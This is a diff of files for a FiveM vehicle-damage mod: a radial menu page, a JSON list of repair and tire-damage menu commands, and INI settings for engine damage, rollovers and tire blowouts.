box-shadow: 0 0 20px rgba(0,0,0,.5);
|
||||
}
|
||||
|
||||
.hidden {
|
||||
opacity: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 2.9 KiB |
|
After Width: | Height: | Size: 3.3 KiB |
|
After Width: | Height: | Size: 3.1 KiB |
|
After Width: | Height: | Size: 4.6 KiB |
|
After Width: | Height: | Size: 4.8 KiB |
|
After Width: | Height: | Size: 3.6 KiB |
|
After Width: | Height: | Size: 4.3 KiB |
|
After Width: | Height: | Size: 4.8 KiB |
|
After Width: | Height: | Size: 3.7 KiB |
|
After Width: | Height: | Size: 5.1 KiB |
|
After Width: | Height: | Size: 4.8 KiB |
|
After Width: | Height: | Size: 43 KiB |
|
After Width: | Height: | Size: 106 KiB |
|
After Width: | Height: | Size: 140 KiB |
|
After Width: | Height: | Size: 13 KiB |
|
After Width: | Height: | Size: 104 KiB |
|
After Width: | Height: | Size: 105 KiB |
|
After Width: | Height: | Size: 107 KiB |
|
After Width: | Height: | Size: 106 KiB |
|
After Width: | Height: | Size: 405 KiB |
|
After Width: | Height: | Size: 14 KiB |
|
After Width: | Height: | Size: 22 KiB |
|
After Width: | Height: | Size: 30 KiB |
|
After Width: | Height: | Size: 44 KiB |
|
After Width: | Height: | Size: 35 KiB |
@@ -0,0 +1,42 @@
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<link rel="stylesheet" href="assets/BigDaddy-RadialMenu.css">
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/howler/2.1.1/howler.min.js" type="text/javascript"></script>
|
||||
<script>
|
||||
var SoundPlayer = null;
|
||||
window.addEventListener('message', function (event) {
|
||||
if (event.data.submissionType == "sendSound") {
|
||||
if (SoundPlayer != null) {
|
||||
SoundPlayer.pause();
|
||||
}
|
||||
SoundPlayer = new Howl({ src: ["./sounds/" + event.data.submissionFile + ".ogg"] });
|
||||
SoundPlayer.volume(event.data.submissionVolume);
|
||||
SoundPlayer.play();
|
||||
}
|
||||
});
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<div id="debug"></div>
|
||||
<div id="root"></div>
|
||||
|
||||
<div class="hidden menuwrapper" id=menu><div class=menu id=menuHolder><div class="hidden menuitem" id=opt1 style="transform:translate(-50%,0) rotate(0)"><div class=menuitemholder id=mih1 data-id=""><img id=icon1 src="" style="transform:translate(-50%,2vh) rotate(0)"></div></div><div class="hidden menuitem" id=opt2 style="transform:translate(-50%,0) rotate(30deg)"><div class=menuitemholder id=mih2 data-id=""><img id=icon2 src="" style="transform:translate(-50%,2vh) rotate(-30deg)"></div></div><div class="hidden menuitem" id=opt3 style="transform:translate(-50%,0) rotate(60deg)"><div class=menuitemholder id=mih3 data-id=""><img id=icon3 src="" style="transform:translate(-50%,2vh) rotate(-60deg)"></div></div><div class="hidden menuitem" id=opt4 style="transform:translate(-50%,0) rotate(90deg)"><div class=menuitemholder id=mih4 data-id=""><img id=icon4 src="" style="transform:translate(-50%,2vh) rotate(-90deg)"></div></div><div class="hidden menuitem" id=opt5 style="transform:translate(-50%,0) rotate(120deg)"><div class=menuitemholder id=mih5 data-id=""><img id=icon5 src="" style="transform:translate(-50%,2vh) rotate(-120deg)"></div></div><div class="hidden menuitem" id=opt6 style="transform:translate(-50%,0) rotate(150deg)"><div class=menuitemholder id=mih6 data-id=""><img id=icon6 src="" style="transform:translate(-50%,2vh) rotate(-150deg)"></div></div><div class="hidden menuitem" id=opt7 style="transform:translate(-50%,0) rotate(180deg)"><div class=menuitemholder id=mih7 data-id=""><img id=icon7 src="" style="transform:translate(-50%,2vh) rotate(-180deg)"></div></div><div class="hidden menuitem" id=opt8 style="transform:translate(-50%,0) rotate(210deg)"><div class=menuitemholder id=mih8 data-id=""><img id=icon8 src="" style="transform:translate(-50%,2vh) rotate(-210deg)"></div></div><div class="hidden menuitem" id=opt9 style="transform:translate(-50%,0) rotate(240deg)"><div class=menuitemholder id=mih9 data-id=""><img id=icon9 src="" style="transform:translate(-50%,2vh) rotate(-240deg)"></div></div><div class="hidden menuitem" id=opt10 style="transform:translate(-50%,0) rotate(270deg)"><div class=menuitemholder id=mih10 data-id=""><img id=icon10 src="" style="transform:translate(-50%,2vh) rotate(-270deg)"></div></div><div class="hidden menuitem" id=opt11 style="transform:translate(-50%,0) rotate(300deg)"><div class=menuitemholder id=mih11 data-id=""><img id=icon11 src="" style="transform:translate(-50%,2vh) rotate(-300deg)"></div></div><div class="hidden menuitem" id=opt12 style="transform:translate(-50%,0) rotate(330deg)"><div class=menuitemholder id=mih12 data-id=""><img id=icon12 src="" style="transform:translate(-50%,2vh) rotate(-330deg)"></div></div></div><div class=menucenter><div class=label id=mainlabel>??</div><div class="hidden center" id=backbutton onclick='CallBack("Back")'><div id=backlabel>BACK</div></div><div class=label id=secondarylabel>MENU</div></div></div>
|
||||
<script>var OpenKey = 'F10'; var to; function CallBack(e, t) { var a = null != t ? t : ""; fetch(`https://${window.GetParentResourceName ? window.GetParentResourceName() : "nui-frame-app"}/${e}`, { method: "POST", headers: { "Content-Type": "application/json; charset=UTF-8" }, body: JSON.stringify({ itemId: a }) }) } function Reset() { $("#menuHolder").html($("#defaultMenu").html()), $(".menuitemholder").hover((function () { clearTimeout(to), $(".menuitemholder").removeClass("hover"), $(this).addClass("hover"), $("#secondarylabel").html($(this).attr("data-name")) }), (function () { var e = this; to = setTimeout((function () { $(e).removeClass("hover"), $("#secondarylabel").html("") }), 400) })), $(".menuitemholder").click((function () { CallBack("ItemClick", $(this).attr("data-id")) })) } $(document).ready((function () { $(".menuitemholder").hover((function () { clearTimeout(to), $(".menuitemholder").removeClass("hover"), $(this).addClass("hover"), $("#secondarylabel").html($(this).attr("data-name")) }), (function () { var e = this; to = setTimeout((function () { $(e).removeClass("hover"), $("#secondarylabel").html("") }), 400) })), $(".menuitemholder").click((function () { CallBack("ItemClick", $(this).attr("data-id")) })) })), window.addEventListener("message", (function (e) { var t = 0; if ("Visible" == e.data.action) e.data.visible ? $("#menu").removeClass("hidden") : $("#menu").addClass("hidden"); else if ("RenderMenu" == e.data.action) { Reset(); var a = JSON.parse(e.data.items), n = 0; for ($("#mainlabel").html(e.data.menuname), n = 0; n < a.items.length && (t = n + 1, !(n > 11)); n++) { var o = $("#opt" + (n + 1)), i = $("#mih" + (n + 1)), s = $("#icon" + (n + 1)); $(i).attr("data-id", a.items[n].id), $(i).attr("data-name", a.items[n].description), $(s).attr("src", "assets/img/" + a.items[n].icon + ".png"), $(o).removeClass("hidden"), e.data.visible && $("#menu").removeClass("hidden"), e.data.back ? $("#backbutton").removeClass("hidden") : $("#backbutton").hasClass("hidden") || $("#backbutton").addClass("hidden") } if (t < 12) { for (let e = 1; e < t; e++)$("#opt" + (e + 1)).css("transform", "translate(-50%,0%) rotate(" + 360 / t * e + "deg)"), $("#icon" + (e + 1)).css("transform", "translate(-50%,2vh) rotate(-" + 360 / t * e + "deg)"); for (let e = t + 1; e < 13; e++)$("#opt" + e).remove() } } })), window.addEventListener("keyup", (e => { e.key; OpenKey == e.key && CallBack("MenuClosed") }));</script>
|
||||
<script id=defaultMenu type=text/html>
|
||||
<div class="hidden menuitem" id=opt1 style="transform:translate(-50%,0) rotate(0)"><div class=menuitemholder id=mih1 data-id=""><img id=icon1 src="" style="transform:translate(-50%,2vh) rotate(0)"></div></div>
|
||||
<div class="hidden menuitem" id=opt2 style="transform:translate(-50%,0) rotate(30deg)"><div class=menuitemholder id=mih2 data-id=""><img id=icon2 src="" style="transform:translate(-50%,2vh) rotate(-30deg)"></div></div>
|
||||
<div class="hidden menuitem" id=opt3 style="transform:translate(-50%,0) rotate(60deg)"><div class=menuitemholder id=mih3 data-id=""><img id=icon3 src="" style="transform:translate(-50%,2vh) rotate(-60deg)"></div></div>
|
||||
<div class="hidden menuitem" id=opt4 style="transform:translate(-50%,0) rotate(90deg)"><div class=menuitemholder id=mih4 data-id=""><img id=icon4 src="" style="transform:translate(-50%,2vh) rotate(-90deg)"></div></div>
|
||||
<div class="hidden menuitem" id=opt5 style="transform:translate(-50%,0) rotate(120deg)"><div class=menuitemholder id=mih5 data-id=""><img id=icon5 src="" style="transform:translate(-50%,2vh) rotate(-120deg)"></div></div>
|
||||
<div class="hidden menuitem" id=opt6 style="transform:translate(-50%,0) rotate(150deg)"><div class=menuitemholder id=mih6 data-id=""><img id=icon6 src="" style="transform:translate(-50%,2vh) rotate(-150deg)"></div></div>
|
||||
<div class="hidden menuitem" id=opt7 style="transform:translate(-50%,0) rotate(180deg)"><div class=menuitemholder id=mih7 data-id=""><img id=icon7 src="" style="transform:translate(-50%,2vh) rotate(-180deg)"></div></div>
|
||||
<div class="hidden menuitem" id=opt8 style="transform:translate(-50%,0) rotate(210deg)"><div class=menuitemholder id=mih8 data-id=""><img id=icon8 src="" style="transform:translate(-50%,2vh) rotate(-210deg)"></div></div>
|
||||
<div class="hidden menuitem" id=opt9 style="transform:translate(-50%,0) rotate(240deg)"><div class=menuitemholder id=mih9 data-id=""><img id=icon9 src="" style="transform:translate(-50%,2vh) rotate(-240deg)"></div></div>
|
||||
<div class="hidden menuitem" id=opt10 style="transform:translate(-50%,0) rotate(270deg)"><div class=menuitemholder id=mih10 data-id=""><img id=icon10 src="" style="transform:translate(-50%,2vh) rotate(-270deg)"></div></div>
|
||||
<div class="hidden menuitem" id=opt11 style="transform:translate(-50%,0) rotate(300deg)"><div class=menuitemholder id=mih11 data-id=""><img id=icon11 src="" style="transform:translate(-50%,2vh) rotate(-300deg)"></div></div>
|
||||
<div class="hidden menuitem" id=opt12 style="transform:translate(-50%,0) rotate(330deg)"><div class=menuitemholder id=mih12 data-id=""><img id=icon12 src="" style="transform:translate(-50%,2vh) rotate(-330deg)"></div></div>
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,5 @@
|
||||
|
||||
[settings]
|
||||
MenuName=Vehicle Damage
|
||||
openKey=57
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
[
|
||||
{
|
||||
"id": "Repair",
|
||||
"icon": "repair",
|
||||
"description": "Repair Menu",
|
||||
"items" : [
|
||||
{
|
||||
"id": "Repair All",
|
||||
"icon": "repair",
|
||||
"description": "Fully repair the vehicle you are driving",
|
||||
"actionType": "command",
|
||||
"action": "repair",
|
||||
"close": true
|
||||
},
|
||||
{
|
||||
"id": "Repair Engine",
|
||||
"icon": "engine",
|
||||
"description": "Fully repair the engine in the vehicle you are driving",
|
||||
"actionType": "command",
|
||||
"action": "rengine",
|
||||
"close": true
|
||||
},
|
||||
{
|
||||
"id": "Repair Body",
|
||||
"icon": "_damage",
|
||||
"description": "Fully repair the body of the vehicle you are driving",
|
||||
"actionType": "command",
|
||||
"action": "rbody",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "Repair Fuel Tank/Batteries",
|
||||
"icon": "_car-fuel",
|
||||
"description": "Fully repair the fuel tank/batteries of the vehicle you are driving",
|
||||
"actionType": "command",
|
||||
"action": "rtank",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "Repair All Wheels",
|
||||
"icon": "_tireALL",
|
||||
"description": "Fully repair the wheels of the vehicle you are driving",
|
||||
"actionType": "command",
|
||||
"action": "tiredamage",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "Repair Closest Wheel",
|
||||
"icon": "_tireClosest",
|
||||
"description": "Repair the nearest damaged wheel/tire",
|
||||
"actionType": "command",
|
||||
"action": "rwheel",
|
||||
"close": true
|
||||
}
|
||||
],
|
||||
"close": true
|
||||
},
|
||||
{
|
||||
"id": "Set Engine Damage Level",
|
||||
"icon": "engine",
|
||||
"description": "Manually set engine health",
|
||||
"items" : [
|
||||
{
|
||||
"id": "1",
|
||||
"icon": "0",
|
||||
"description": "Zero Health",
|
||||
"actionType": "command",
|
||||
"action": "setdamage 0",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "10",
|
||||
"icon": "10",
|
||||
"description": "10% Health",
|
||||
"actionType": "command",
|
||||
"action": "setdamage 10",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "20",
|
||||
"icon": "20",
|
||||
"description": "20% Health",
|
||||
"actionType": "command",
|
||||
"action": "setdamage 20",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "30",
|
||||
"icon": "30",
|
||||
"description": "30% Health",
|
||||
"actionType": "command",
|
||||
"action": "setdamage 30",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "40",
|
||||
"icon": "40",
|
||||
"description": "40% Health",
|
||||
"actionType": "command",
|
||||
"action": "setdamage 40",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "50",
|
||||
"icon": "50",
|
||||
"description": "50% Health",
|
||||
"actionType": "command",
|
||||
"action": "setdamage 50",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "60",
|
||||
"icon": "60",
|
||||
"description": "60% Health",
|
||||
"actionType": "command",
|
||||
"action": "setdamage 60",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "70",
|
||||
"icon": "70",
|
||||
"description": "70% Health",
|
||||
"actionType": "command",
|
||||
"action": "setdamage 70",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "80",
|
||||
"icon": "80",
|
||||
"description": "80% Health",
|
||||
"actionType": "command",
|
||||
"action": "setdamage 80",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "90",
|
||||
"icon": "90",
|
||||
"description": "90% Health",
|
||||
"actionType": "command",
|
||||
"action": "setdamage 90",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "100",
|
||||
"icon": "100",
|
||||
"description": "FULL Health",
|
||||
"actionType": "command",
|
||||
"action": "setdamage 100",
|
||||
"close": false
|
||||
}
|
||||
],
|
||||
"close": true
|
||||
},
|
||||
{
|
||||
"id": "Set Tire Damage",
|
||||
"icon": "tire",
|
||||
"description": "Tire/Wheel Damage",
|
||||
"items" : [
|
||||
{
|
||||
"id": "Fix Closest",
|
||||
"icon": "_tireClosest",
|
||||
"description": "Fix closest tire/wheel",
|
||||
"actionType": "command",
|
||||
"action": "rwheel",
|
||||
"close": true
|
||||
},
|
||||
{
|
||||
"id": "Fix All Wheels",
|
||||
"icon": "_tireALL",
|
||||
"description": "Fix ALL tires/wheels",
|
||||
"actionType": "command",
|
||||
"action": "tiredamage",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "Toggle Wheel Damage",
|
||||
"icon": "_wheel",
|
||||
"description": "Toggle wheel damage",
|
||||
"actionType": "command",
|
||||
"action": "tiredamage wheel",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "Front Left",
|
||||
"icon": "_tireFL",
|
||||
"description": "Fix/Damage Front Left",
|
||||
"actionType": "command",
|
||||
"action": "tiredamage lf",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "Front Right",
|
||||
"icon": "_tireFR",
|
||||
"description": "Fix/Damage Front Right",
|
||||
"actionType": "command",
|
||||
"action": "tiredamage rf",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "Rear left",
|
||||
"icon": "_tireRL",
|
||||
"description": "Fix/Damage Left Rear",
|
||||
"actionType": "command",
|
||||
"action": "tiredamage lf",
|
||||
"close": false
|
||||
},
|
||||
{
|
||||
"id": "Rear Right",
|
||||
"icon": "_tireRR",
|
||||
"description": "Fix/Damage Right Rear",
|
||||
"actionType": "command",
|
||||
"action": "tiredamage rr",
|
||||
"close": false
|
||||
}
|
||||
],
|
||||
"close": true
|
||||
},
|
||||
//{
|
||||
// "id": "Possible Engine Fire",
|
||||
// "icon": "enginefire",
|
||||
// "description": "Toggle chance of engine fire",
|
||||
// "actionType": "command",
|
||||
// "action": "county-medevac",
|
||||
// "close": true
|
||||
//},
|
||||
{
|
||||
"id": "Toggle Rollovers",
|
||||
"icon": "rollover",
|
||||
"description": "Toggle rollovers",
|
||||
"actionType": "command",
|
||||
"action": "rollovers",
|
||||
"close": true
|
||||
}
|
||||
]
|
||||
@@ -0,0 +1,158 @@
|
||||
[licensing]
|
||||
key1=lpxkTJ3KjEwXV5OQTY0cyspNkKXrXDynyLLgK%2bwv8yUagcyQkfONgg%3d%3d
|
||||
|
||||
[settings]
|
||||
allowRepair=true
|
||||
keepFuelLevelOnRepair=true
|
||||
permissionToRepair=false
|
||||
acePermissionToRepair=Command
|
||||
;if you do not want the menu at all, change this to -1 or some control that doesn't exist
|
||||
menukey=57
|
||||
|
||||
; do not change this VERY IMPORTANT
|
||||
DesyncKey=777621053120
|
||||
|
||||
[damages]
|
||||
; How much deformation a collision causes. 0.0 to 10.0 0.0 is none and 10.0 is 10x the deformation. -1=disabled. Visual damage is not always synced with other players.
|
||||
deformationMultiplier=-1
|
||||
; handling file deformation to be moved toward 1.0. (Makes cars more similar). A value of 1=no change. Lower values will compress more, values above 1 it will expand. Dont set to zero or negative.
|
||||
deformationExponent=0.4
|
||||
; same but with collisions
|
||||
collisionDamageExponent=0.6
|
||||
|
||||
; between 1 and 100 are good. Higher values means more damage
|
||||
damageFactorEngine=2.0
|
||||
; between 1 and 100 are good. Higher values means more damage
|
||||
damageFactorBody=3.0
|
||||
; between 1 and 200 are good. Higher values means more damage
|
||||
damageFactorPetrolTank=50.0
|
||||
; handling file engine damage setting to be moved toward 1.0. (Make cars more similar). A value of 1=no change. Lower values will compress more, values above 1 it will expand. Dont set to zero or negative.
|
||||
engineDamageExponent=0.6
|
||||
; damage from weapons fire. Range 0.0 to 10.0, 0.0 is no damage and 10.0 is 10x damage. -1=not set
|
||||
weaponsDamageMultiplier=2.0
|
||||
; Speed of slowly degrading health, but not failure. Higher values means faster degradation
|
||||
degradingHealthSpeedFactor=10
|
||||
; between 1 and 100 are good. When vehicle health drops below a certain point, cascading failure sets in, and the health drops rapidly until the vehicle dies. Higher values means faster failure.
|
||||
cascadingFailureSpeedFactor=8.0
|
||||
|
||||
; low engine health + high speed = overheating which leads to engine damage - also really high speed leads to overheatings
|
||||
;allowOverheating=false This has been disabled for now
|
||||
|
||||
; slow health degradation will set in below this
|
||||
degradingFailureThreshold=800.0
|
||||
; health cascading failure will set in below this
|
||||
cascadingFailureThreshold=360.0
|
||||
; lowest engine failure value. 100 is a good value for this
|
||||
engineSafeGuard=100.0
|
||||
|
||||
; Lose engine torque as the damage increases... slows the vehicle down when damaged
|
||||
torqueMultiplierEnabled=true
|
||||
|
||||
; If true, the engine never fails completely
|
||||
limpMode=true
|
||||
; The torque to use when vehicle is limping. Good values are 0.05 to 0.25
|
||||
limpModeMultiplier=0.10
|
||||
|
||||
; If true, you cannot control the "flipping" of a vehicle that has turned over.
|
||||
preventVehicleFlip=true
|
||||
|
||||
; If true, the accelerator response is scaled to enable easy slow driving. Does not work with keyboard. Set to false to disable.
|
||||
casualDriver=false
|
||||
; The response curve to apply to the accelerator. Range 0.0 to 10.0. Higher values enables easier slow driving, meaning more pressure on the throttle is required to accelerate forward.
|
||||
casualDriverAcceleratorCurve=7.5
|
||||
; The response curve to apply to the Brake. Range 0.0 to 10.0. Higher values enables easier braking, meaning more pressure on the throttle is required to brake hard.
|
||||
casualDriverBrakeCurve=5.0
|
||||
|
||||
; prevents other scripts from modifying the fuel tank health to avoid random engine failure
|
||||
compatibilityMode=false
|
||||
|
||||
; Number of minutes statistically driving above 60 mph before you get a tire blow out. 0 = disabled
|
||||
randomTireBlowOutInterval=5
|
||||
|
||||
; if low engine health and overheating happen, there is a change the engine catches fire.
|
||||
allowEngineFires=true
|
||||
; percent change that a fire will occur when the circumstances happen
|
||||
fireChance=100
|
||||
|
||||
[damageClassMultiplier]
|
||||
; Compacts
|
||||
0=1.0
|
||||
; Sedans
|
||||
1=1.0
|
||||
; SUVs
|
||||
2=1.0
|
||||
; Coupes
|
||||
3=1.0
|
||||
; Muscle
|
||||
4=1.0
|
||||
; Sports Classics
|
||||
5=1.0
|
||||
; Sports
|
||||
6=1.0
|
||||
; Super
|
||||
7=1.0
|
||||
; Motorcycles
|
||||
8=0.25
|
||||
; Off-road
|
||||
9=0.7
|
||||
; Industrial
|
||||
10=0.25
|
||||
; Utility
|
||||
11=1.0
|
||||
; Vans
|
||||
12=1.0
|
||||
; Cycles
|
||||
13=1.0
|
||||
; Boats
|
||||
14=0.5
|
||||
; Helicopters
|
||||
15=1.0
|
||||
; Planes
|
||||
16=1.0
|
||||
; Service
|
||||
17=1.0
|
||||
; Emergency
|
||||
18=0.3
|
||||
; Military
|
||||
19=0.75
|
||||
; Commercial
|
||||
20=1.0
|
||||
; Trains
|
||||
21=1.0
|
||||
|
||||
|
||||
[rollovers]
|
||||
; to allow this script to control rollovers set to true
|
||||
allowRollovers=true
|
||||
; to increase probability of NPCs rolling over when conditions are met, set to higher number. Best values between 0 and 40
|
||||
NPCBaseRolloverProbability=20
|
||||
; to increase probability of players rolling over when conditions are met, set to higher number. Best values between 0 and 40
|
||||
PlayerBaseRolloverProbability=0
|
||||
; percent chance explosion might happen during rollover 0 = never 100 = always
|
||||
ExplodeChance=5
|
||||
; how much force to initially apply to start rollover - too much can cause unrealistic forces
|
||||
RolloverForceMultiplier=1.03
|
||||
;set true for AI to also have rollovers
|
||||
allowAIRollovers=true
|
||||
;if you want the rollovers to be bigger, set this to true (it's subtle)
|
||||
ExtendedRollovers=false
|
||||
;chance of hydroplaning if criteria are met (this is not percentage, it's just a number used in the formula) valid numbers are 0-100
|
||||
HydroplaningChance=50
|
||||
DirtSlide=true
|
||||
;if you do not want people to be able to "magically" control the vehicle while airborne, set this to true
|
||||
NoControlWhileAirborne=true
|
||||
;the chance you will get ejected while rolling over - 0=never 100=always
|
||||
RolloverEjectionChance=50
|
||||
|
||||
[tiredamage]
|
||||
; chance of damage happening when you meet the minimum forces (below) values between 1 and 100 with 100 being always and 1 being almost never. zero to disable tire damage completely
|
||||
damageChance=50
|
||||
; amount of time (in seconds) airborne before tire damage "could" occur when landing .1 - 4.0 are probably the range to stick to
|
||||
airtimeMinimum=1.0
|
||||
; amount of compression to the suspension (how hard you land) after a jump before rire damage "could" occur. Probably leave it at .25 for best results. Range is about 0.1 - 0.33 or so.
|
||||
suspensionCompressionMinimum=0.25
|
||||
; true means the tire if flat will not come off the rim but just let you drive on it flat
|
||||
runflat=true
|
||||
; true means you could get a flat just randomly
|
||||
randomflats=true
|
||||
|
||||
@@ -237,6 +237,9 @@ ensure ulc
|
||||
ensure reverse-hud
|
||||
ensure taser_effect-main
|
||||
ensure helicam
|
||||
|
||||
|
||||
|
||||
ensure BigDaddy-Airbags
|
||||
ensure BigDaddy-RadioAnimation
|
||||
ensure BigDaddy-VehicleDamage
|
||||
|
||||